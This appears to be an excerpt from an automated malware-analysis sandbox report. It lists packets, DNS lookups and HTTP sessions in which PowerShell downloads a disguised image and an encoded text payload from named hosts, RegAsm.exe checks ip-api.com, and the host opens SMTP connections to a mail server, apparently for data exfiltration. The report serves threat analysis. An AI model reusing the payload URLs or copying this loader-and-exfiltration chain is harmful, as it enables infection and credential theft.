                                                      Aug 30, 2024 10:39:04.671233892 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:04.676326036 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:04.852988958 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:04.853205919 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:04.858539104 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.032538891 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.033169985 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.033243895 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.033298016 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.033327103 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.038079977 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.038089991 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.038348913 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.038358927 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.482403040 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.529177904 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.541214943 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.545989037 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.721323967 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.721817970 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.721894979 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.721992016 CEST58749708185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.722034931 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.725208044 CEST49708587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.726212978 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:05.732383013 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:05.733230114 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.299050093 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.299216032 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.304013014 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.475491047 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.524629116 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.603351116 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.603543997 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.609276056 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.779154062 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.779525042 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.784348965 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.955374002 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.955390930 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.955401897 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.955414057 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:06.955480099 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.955518007 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.976309061 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:06.981117010 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.150945902 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.157852888 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:07.162740946 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.332123041 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.332509041 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:07.338808060 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.508166075 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.508433104 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:07.513438940 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.899076939 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:07.901122093 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:07.906107903 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.075478077 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.075714111 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.080533981 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.250318050 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.250509024 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.255283117 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.424608946 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.426115036 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426181078 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426218987 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426254988 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426301956 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426337004 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426372051 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426398993 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426424026 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.426453114 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:08.431029081 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431040049 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431058884 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431066990 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431279898 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431288958 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431297064 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431304932 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431315899 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:08.431324959 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:09.059859037 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:39:09.228518009 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:39:52.310851097 CEST4970780192.168.2.8208.95.112.1
                                                      Aug 30, 2024 10:39:52.317563057 CEST8049707208.95.112.1192.168.2.8
                                                      Aug 30, 2024 10:39:52.317647934 CEST4970780192.168.2.8208.95.112.1
                                                      Aug 30, 2024 10:40:42.326476097 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:40:42.331573009 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:40:42.502749920 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:40:42.502901077 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:40:42.503005028 CEST58749709185.230.212.164192.168.2.8
                                                      Aug 30, 2024 10:40:42.503041029 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:40:42.503346920 CEST49709587192.168.2.8185.230.212.164
                                                      Aug 30, 2024 10:40:42.503346920 CEST49709587192.168.2.8185.230.212.164

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Aug 30, 2024 10:38:54.574846983 CEST5705053192.168.2.81.1.1.1
                                                      Aug 30, 2024 10:38:54.724450111 CEST53570501.1.1.1192.168.2.8
                                                      Aug 30, 2024 10:38:57.435224056 CEST6259453192.168.2.81.1.1.1
                                                      Aug 30, 2024 10:38:57.466989040 CEST53625941.1.1.1192.168.2.8
                                                      Aug 30, 2024 10:39:00.731539965 CEST6320453192.168.2.81.1.1.1
                                                      Aug 30, 2024 10:39:00.738380909 CEST53632041.1.1.1192.168.2.8
                                                      Aug 30, 2024 10:39:02.308473110 CEST4965553192.168.2.81.1.1.1
                                                      Aug 30, 2024 10:39:02.318007946 CEST53496551.1.1.1192.168.2.8

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Aug 30, 2024 10:38:54.574846983 CEST192.168.2.81.1.1.10xa886Standard query (0)ia601606.us.archive.orgA (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:38:57.435224056 CEST192.168.2.81.1.1.10x55f5Standard query (0)epanpano.comA (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:39:00.731539965 CEST192.168.2.81.1.1.10x8e5dStandard query (0)ip-api.comA (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:39:02.308473110 CEST192.168.2.81.1.1.10xd65bStandard query (0)smtp.zoho.euA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Aug 30, 2024 10:38:54.724450111 CEST1.1.1.1192.168.2.80xa886No error (0)ia601606.us.archive.org207.241.227.86A (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:38:57.466989040 CEST1.1.1.1192.168.2.80x55f5No error (0)epanpano.com78.142.208.13A (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:39:00.738380909 CEST1.1.1.1192.168.2.80x8e5dNo error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                                      Aug 30, 2024 10:39:02.318007946 CEST1.1.1.1192.168.2.80xd65bNo error (0)smtp.zoho.eu185.230.212.164A (IP address)IN (0x0001)false

                                                      HTTP Request Dependency Graph

                                                      • ia601606.us.archive.org
                                                      • epanpano.com
                                                      • ip-api.com

                                                      HTTP Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.849707208.95.112.1807944C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                      TimestampBytes transferredDirectionData
                                                      Aug 30, 2024 10:39:00.750458002 CEST80OUTGET /line/?fields=hosting HTTP/1.1
                                                      Host: ip-api.com
                                                      Connection: Keep-Alive
                                                      Aug 30, 2024 10:39:01.207411051 CEST175INHTTP/1.1 200 OK
                                                      Date: Fri, 30 Aug 2024 08:39:01 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Content-Length: 6
                                                      Access-Control-Allow-Origin: *
                                                      X-Ttl: 60
                                                      X-Rl: 44
                                                      Data Raw: 66 61 6c 73 65 0a
                                                      Data Ascii: false


                                                      HTTPS Proxied Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.849705207.241.227.864437728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-08-30 08:38:55 UTC112OUTGET /10/items/deathnote_202407/deathnote.jpg HTTP/1.1
                                                      Host: ia601606.us.archive.org
                                                      Connection: Keep-Alive
                                                      2024-08-30 08:38:55 UTC582INHTTP/1.1 200 OK
                                                      Server: nginx/1.25.1
                                                      Date: Fri, 30 Aug 2024 08:38:55 GMT
                                                      Content-Type: image/jpeg
                                                      Content-Length: 1931225
                                                      Last-Modified: Fri, 26 Jul 2024 22:09:28 GMT
                                                      Connection: close
                                                      ETag: "66a41e98-1d77d9"
                                                      Strict-Transport-Security: max-age=15724800
                                                      Expires: Fri, 30 Aug 2024 14:38:55 GMT
                                                      Cache-Control: max-age=21600
                                                      Access-Control-Allow-Origin: *
                                                      Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
                                                      Access-Control-Allow-Credentials: true
                                                      Accept-Ranges: bytes
                                                      2024-08-30 08:38:55 UTC15802INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1
                                                      Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
                                                      2024-08-30 08:38:55 UTC16384INData Raw: 47 be 05 cf 22 c0 07 38 32 ed 0b c6 e0 78 c1 a8 76 2c e0 73 f9 61 20 0c c7 70 55 3f cf 00 eb 1b 86 0c 0d 31 5e e7 8c e4 29 1e e6 6b 69 5b d8 70 72 c4 b3 10 2a 82 8e 4d e0 47 a6 62 58 d8 a2 54 e0 5e 49 dd 95 6c b0 53 fa 65 e2 d4 2a 46 51 ad af 80 cd cf e5 80 33 21 52 a5 e9 6b f5 ca 39 67 e5 47 00 50 1e df 1c 06 91 bd 24 86 3f 4c 24 40 3b 04 1c dd d6 e3 f0 c0 23 05 88 1e 0d 8f d7 02 93 94 d4 2b d5 1b e9 81 a1 b9 3c 9d b2 39 dc 0f 16 7a 62 9a 92 24 22 9c d1 fc 36 7a e1 89 49 05 14 1d 48 27 03 ab 89 51 15 43 02 57 91 80 b7 96 fd bf 5c 6a 20 90 28 66 66 b3 cd 1e 99 10 4a be 71 63 f8 55 7f 8b f5 c8 9e 44 6a 23 6d 37 42 7d b0 0d e7 92 0d bb 12 4f 45 ed 83 92 41 b0 02 ec c7 e3 ef 96 8d 50 28 a2 02 f5 e3 be 53 52 51 3d 65 c6 eb bd b8 0b 33 82 a5 18 b5 55 83 ec 7d
                                                      Data Ascii: G"82xv,sa pU?1^)ki[pr*MGbXT^IlSe*FQ3!Rk9gGP$?L$@;#+<9zb$"6zIH'QCW\j (ffJqcUDj#m7B}OEAP(SRQ=e3U}
                                                      2024-08-30 08:38:55 UTC16384INData Raw: a1 3b 95 d2 16 65 27 e6 06 0a 2f 0e f1 0d 0f 8f f8 64 b2 e9 75 10 ee d4 25 6f 8d 97 70 0c b7 57 d7 ae 2b 21 6b 27 92 47 7c d4 fb 3f ae 74 f1 1d 26 9e 42 cf a6 79 d4 98 77 1d bb 89 00 30 07 a3 02 01 b1 c9 02 ba 1c 00 78 dd ff 00 b6 f5 fe 9e ba 89 2c 1f f7 8e 1b 41 e3 9e 23 a1 d2 88 74 fa 92 91 6e b0 0a 2b 57 e6 0e 03 c6 01 6f 1a d7 32 93 c6 a2 4b e7 fc c7 33 c3 ed 97 61 36 18 5f 07 a6 07 a6 d1 f8 f4 fe 31 aa 8f c3 bc 61 56 7d 3c cc aa a4 22 86 89 b9 0a ca 45 01 cd 5f c2 f0 2f 14 de 0b e2 3a bd 0d 40 ec 84 05 9d 92 da 98 58 2a 4d 55 83 ce 61 c2 83 cd 56 de 45 1b 0d 79 e9 7e da c8 f0 78 f4 25 4b 2a 9d 3a 8a aa 06 99 bf 97 1f a6 07 98 9a 18 b4 85 d1 f8 5d ea 49 db 5b b8 26 f1 b1 a7 46 98 ea 0b ab 44 57 f0 90 3a 64 c3 f6 76 79 cc 9a 8d 7c a9 a3 d3 1d 8e 66 9c
                                                      Data Ascii: ;e'/du%opW+!k'G|?t&Byw0x,A#tn+Wo2K3a6_1aV}<"E_/:@X*MUaVEy~x%K*:]I[&FDW:dvy|f
                                                      2024-08-30 08:38:55 UTC16384INData Raw: 29 b1 cc 21 4f b1 fe 77 9a 3a 96 d3 ed 06 fb 70 69 b0 11 ea 74 db 76 b3 57 3f e1 38 0a b2 c9 cb 15 04 b5 55 fc 06 39 a6 49 be ec c1 17 82 cc 48 6e 30 f2 b4 11 c4 24 0f 61 85 01 75 fa 60 e2 d7 c0 20 08 ec 45 7b 59 c0 16 e9 d8 10 a2 89 14 64 26 eb e0 32 57 4c f1 ca ae 3d 36 6c 0f 6e 2b 18 fb de 89 b8 46 2b e9 e1 48 3d 70 08 e8 eb 3e f6 3e a3 e9 ab f6 c0 12 e8 a4 3b 1c 1b 6d c4 9f 95 e7 0d 14 aa 9e c7 69 04 7b f5 1f d7 35 11 22 58 b6 86 6b be fe fc 65 e2 96 14 62 19 bd 4b d7 03 cf b8 78 ea 27 15 4c 0e 14 c6 ec 84 85 55 52 78 db d3 eb 9a 3a df ba 6a 01 b7 da dd 8e d3 c6 00 41 0a c2 b1 19 18 1b dc 4e d3 ce 00 19 a6 50 18 1b 53 c0 c6 00 d4 14 b1 dc 64 89 60 69 04 00 b0 03 ad a9 e7 19 33 e9 e3 50 bb bd 38 09 aa 4c e8 76 36 ea eb f0 ca 08 5d b8 61 7c 63 e9 e4 28
                                                      Data Ascii: )!Ow:pitvW?8U9IHn0$au` E{Yd&2WL=6ln+F+H=p>>;mi{5"XkebKx'LURx:jANPSd`i3P8Lv6]a|c(
                                                      2024-08-30 08:38:55 UTC16384INData Raw: ad a6 0c 47 bb ff 00 fa 38 3d 4f 89 22 91 5a 52 40 eb 4f c7 f2 c0 d7 7d 44 25 54 02 d4 0f 3f 1c ef 32 33 54 8d f3 39 95 1e ba 29 53 71 d3 6d 07 a7 af fe 98 47 f1 08 c4 60 22 50 1f e6 ff 00 a6 03 af 22 75 22 89 e9 83 f3 d7 a1 4e 7b 1c cf 7d 68 75 07 cb 22 bb 06 eb ff 00 87 21 35 eb e6 57 92 47 c4 b7 fd 30 34 9d d1 9a ca 9e 7d b2 a5 c8 53 b5 5b eb 8b 36 b9 0a f0 95 ff 00 17 fd 32 a7 5e 40 a1 16 ef f8 bf e9 80 c1 d4 99 14 54 75 b7 f5 cb 89 14 29 40 80 1f c5 ce 27 f7 b7 5f 56 ca f8 06 ff 00 a6 0d b5 e7 ff 00 a3 62 7a fe 2f ff 00 47 01 d4 74 0c 09 8c dd f4 ae 0e 2d ac d7 3c 5a a2 13 d2 80 70 36 8c 85 d6 b6 d2 44 6c 19 45 82 5b fe 98 87 9c 4b 16 91 37 b3 1b fc 5f f4 c0 68 f8 d4 a7 d2 63 52 7b 15 5c d8 8e 7f 07 6d 27 df 75 69 e2 91 b1 90 a2 ac 2e ae 15 68 10 4d
                                                      Data Ascii: G8=O"ZR@O}D%T?23T9)SqmG`"P"u"N{}hu"!5WG04}S[62^@Tu)@'_Vbz/Gt-<Zp6DlE[K7_hcR{\m'ui.hM
                                                      2024-08-30 08:38:55 UTC16384INData Raw: dd fa 71 db 28 20 6b 1b 9a d7 b5 60 32 91 16 76 51 b4 13 c2 8a eb 81 24 28 0a 0f e2 a3 5e fc e5 cb 32 15 60 f4 cb 8b 44 18 b0 bf 87 5f 9e 03 29 50 c6 ad ba c0 52 48 3f 3c be e1 aa 5d d5 b4 fb 60 a2 47 a2 4a d8 ae 8d c7 7c 22 c8 aa 28 0a 6f 81 c0 b1 57 24 10 d4 47 53 87 57 91 88 3c 16 e9 f1 ca c1 44 96 91 7d 23 93 c6 04 38 7b 02 c0 dc 5b 03 b5 6b 24 8f c8 2a 40 af 4a 91 78 ba 3c a9 48 59 b6 f4 17 d1 72 da 90 59 82 bb 8a ab 06 b2 fa 04 3f 79 8e a3 0c 03 03 fa e0 34 08 89 01 12 2b 33 75 bc 21 77 48 c8 2c a4 13 5e ac d5 83 cc 9a 59 42 ac 4d e6 44 19 c0 61 e8 3e ae 38 e6 fe 58 4d 52 99 fc 3c e9 d4 ed 2a b7 f8 89 ba 20 fe 74 0e 07 9e 96 14 f3 55 22 94 c8 59 80 65 b0 36 f4 c9 d4 ab e9 da 45 56 14 a6 95 94 7c 7a 7f 2c 79 3c 3d 9d 16 5d aa 8a 58 92 43 15 24 76 1f
                                                      Data Ascii: q( k`2vQ$(^2`D_)PRH?<]`GJ|"(oW$GSW<D}#8{[k$*@Jx<HYrY?y4+3u!wH,^YBMDa>8XMR<* tU"Ye6EV|z,y<=]XC$v
                                                      2024-08-30 08:38:55 UTC16384INData Raw: 36 a9 a8 b4 32 d5 75 2a 70 b1 47 3a a3 20 d3 cb 4c 45 1d 97 5f a6 07 a3 9b 5a 9f 7a 84 c7 a6 02 37 45 90 33 b7 3c a8 f6 f9 e4 6a 66 79 19 a5 90 d0 03 90 00 20 01 81 82 37 5f 28 36 9b 51 21 1b 55 58 23 70 4a a8 e9 f9 e0 b5 d0 eb 1e 53 a7 5d 24 e5 14 06 94 aa 9b db 63 b6 04 69 99 35 13 2e a7 63 80 a4 aa 5f 17 c7 5c 63 c4 66 6d 1e 81 a4 85 dd 0b cc a5 97 cc 62 39 0c 7e 9d 4e 5b 4b 1c f3 32 a4 3a 69 4c 61 7d 2d e5 92 00 ec 3e 78 f4 f0 6a 53 c3 a7 12 68 e7 7d ae 80 a9 8c 83 c2 b5 9a ae 70 32 f4 1a 99 1c c9 01 05 98 b1 75 05 89 0c 09 ec 6e bf 3c 7a 3d 76 ad 19 55 f4 c6 23 b8 ab 30 91 78 5a e9 c1 cc a8 23 99 b5 60 e9 74 1a 99 02 16 2d 4a 40 ab e3 68 ed 9a 69 0e b9 d9 07 dc a6 48 d8 ee 2a c8 d7 7d b9 aa eb 58 0d e9 e4 4d 4f 88 c6 f2 28 56 0e a7 72 f1 47 eb d7 8c
                                                      Data Ascii: 62u*pG: LE_Zz7E3<jfy 7_(6Q!UX#pJS]$ci5.c_\cfmb9~N[K2:iLa}->xjSh}p2un<z=vU#0xZ#`t-J@hiH*}XMO(VrG
                                                      2024-08-30 08:38:55 UTC16384INData Raw: 8e 94 b0 3c 55 fd 2e b2 de 58 0d b7 b8 6d a4 60 54 48 c0 83 67 82 0f 5e f9 01 ab a0 00 f4 04 75 c9 d8 0d 1b e0 93 fa 64 98 c9 23 6d 74 bb 26 b8 fa e0 54 b5 8e 7e 1c fc 32 18 b3 12 4f 5b cb f9 2c 5c a8 f5 10 2f d3 cf f2 c8 75 28 05 d8 24 5d 1f 9e 00 fe 99 c3 83 91 59 20 73 cf 4c 0b 33 16 1c b1 35 d2 fd b2 bd 0e 47 7c be df 48 3e fd 30 2e 93 15 52 0f 26 b8 bc d6 d0 ea 36 78 26 a6 32 dc b3 3d 7b 9b 51 98 80 73 9b da 5d 31 8f c2 64 2e ca 5a 51 e9 e3 91 b9 40 1f cf 03 08 83 66 fa fc f0 91 32 a9 16 47 5e f8 c7 fb 3a 63 e5 01 b4 17 2c 28 9f c2 57 ad e7 1d 0c 8a 81 88 52 4a ef 23 9f c3 ef d2 b0 28 fa 97 3b 68 f0 16 be 7c e0 0b b7 62 40 cd 3f f6 5f 96 17 cc 7b 25 c2 0a e3 93 f1 fa e2 b2 69 4a 5f ac 1b 24 55 f3 c7 bd 60 00 4c 7c b2 a4 93 ea b0 09 e3 25 27 75 72 43
                                                      Data Ascii: <U.Xm`THg^ud#mt&T~2O[,\/u($]Y sL35G|H>0.R&6x&2={Qs]1d.ZQ@f2G^:c,(WRJ#(;h|b@?_{%iJ_$U`L|%'urC
                                                      2024-08-30 08:38:55 UTC16384INData Raw: 65 1c 85 60 4f 5b 6b fe 99 c5 3d 36 bc e7 20 05 1e fa ed e3 f3 18 16 03 cc 56 35 c2 8b eb 94 11 bb 29 2a 09 03 db 2a 2d 6c 13 5e e3 0a 26 db 13 22 9a dc 6c e0 04 06 3d 2f 25 56 cd 75 3e d8 53 3f ee d5 02 28 2b d1 80 e4 e7 42 ae cc 4a ae ea 16 6b f2 c0 8f 2d fa 9e 3e 67 fa e5 41 60 76 92 7a 8e 87 0a 8e f0 4d b8 a6 ea 04 15 71 ee 2b 91 95 92 51 34 e1 c2 aa 5d 0a ed 80 c3 99 c5 4b 23 bf 50 48 36 2b 9f ed ed 93 1f 88 49 f8 4b b2 93 54 77 1c 9d 74 85 8a a9 bb 0b b4 7a b7 0e d4 6f e4 71 51 03 34 05 c7 63 58 1b ba 4f 10 91 34 72 15 91 9e 4d a1 68 b1 f7 ab 1f a6 35 ab d6 4b f7 69 5a 19 59 77 39 a0 77 5f 40 4f 73 c8 00 f3 55 9e 6a 09 8c 3b 88 e6 c5 57 6e 08 39 b3 0f 8a c3 a8 d3 b4 73 22 06 dc cc 5d ae e8 d0 a1 5c f2 2c 7d 70 18 07 57 ad 53 23 6a da 35 44 24 ed 6d
                                                      Data Ascii: e`O[k=6 V5)**-l^&"l=/%Vu>S?(+BJk->gA`vzMq+Q4]K#PH6+IKTwtzoqQ4cXO4rMh5KiZYw9w_@OsUj;Wn9s"]\,}pWS#j5D$m
                                                      2024-08-30 08:38:55 UTC16384INData Raw: e7 69 e8 73 22 79 c6 ae 09 64 50 54 a8 16 b7 67 93 5f d7 01 e2 91 bb 34 77 41 ba 8f 7c 6e 1d 12 41 a7 54 46 b5 26 d8 5d 58 cc e4 d3 38 86 4a 2d 6a a5 aa b9 e9 8f c0 e4 68 61 06 b7 6c 05 ad 79 e9 80 e4 3a d5 82 0a 2c cc aa 0a 84 02 c9 17 c1 fa 63 47 50 82 16 6d aa 48 ea 6e ae c7 71 98 da c1 10 d3 87 2c 48 50 58 02 d4 2c f0 3f 5c 2e a5 1c f8 7a f9 8c c9 24 71 d8 65 66 04 10 2f 9e 70 3b 57 af 82 02 db d2 46 90 11 c0 52 36 8f 70 7a 65 22 68 e5 1b fc d0 e8 bf 85 80 b2 3e bf 5c 8d 24 b3 b4 65 66 f2 d9 50 2b 33 51 e4 37 c4 e6 66 b3 53 16 96 79 74 ba 78 94 2a bd 6e 1c dd 7c f0 36 5e 78 a1 87 71 5d e7 f8 16 e8 93 81 2a e3 f1 9b 24 6e f4 f4 53 ed 78 a2 b1 9a 1d 36 a6 28 0a 48 f3 aa 31 56 bd dc 1e d9 ab a9 46 d3 c4 01 52 64 24 80 a4 f2 7a 7e 7e f8 19 92 e9 55 d6 49
                                                      Data Ascii: is"ydPTg_4wA|nATF&]X8J-jhaly:,cGPmHnq,HPX,?\.z$qef/p;WFR6pze"h>\$efP+3Q7fSytx*n|6^xq]*$nSx6(H1VFRd$z~~UI


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      1192.168.2.84970678.142.208.134437728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-08-30 08:38:58 UTC74OUTGET /log/ORGN.txt HTTP/1.1
                                                      Host: epanpano.com
                                                      Connection: Keep-Alive
                                                      2024-08-30 08:38:58 UTC193INHTTP/1.1 200 OK
                                                      Connection: close
                                                      content-type: text/plain
                                                      last-modified: Thu, 29 Aug 2024 13:54:35 GMT
                                                      accept-ranges: bytes
                                                      content-length: 334508
                                                      date: Fri, 30 Aug 2024 08:38:59 GMT
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
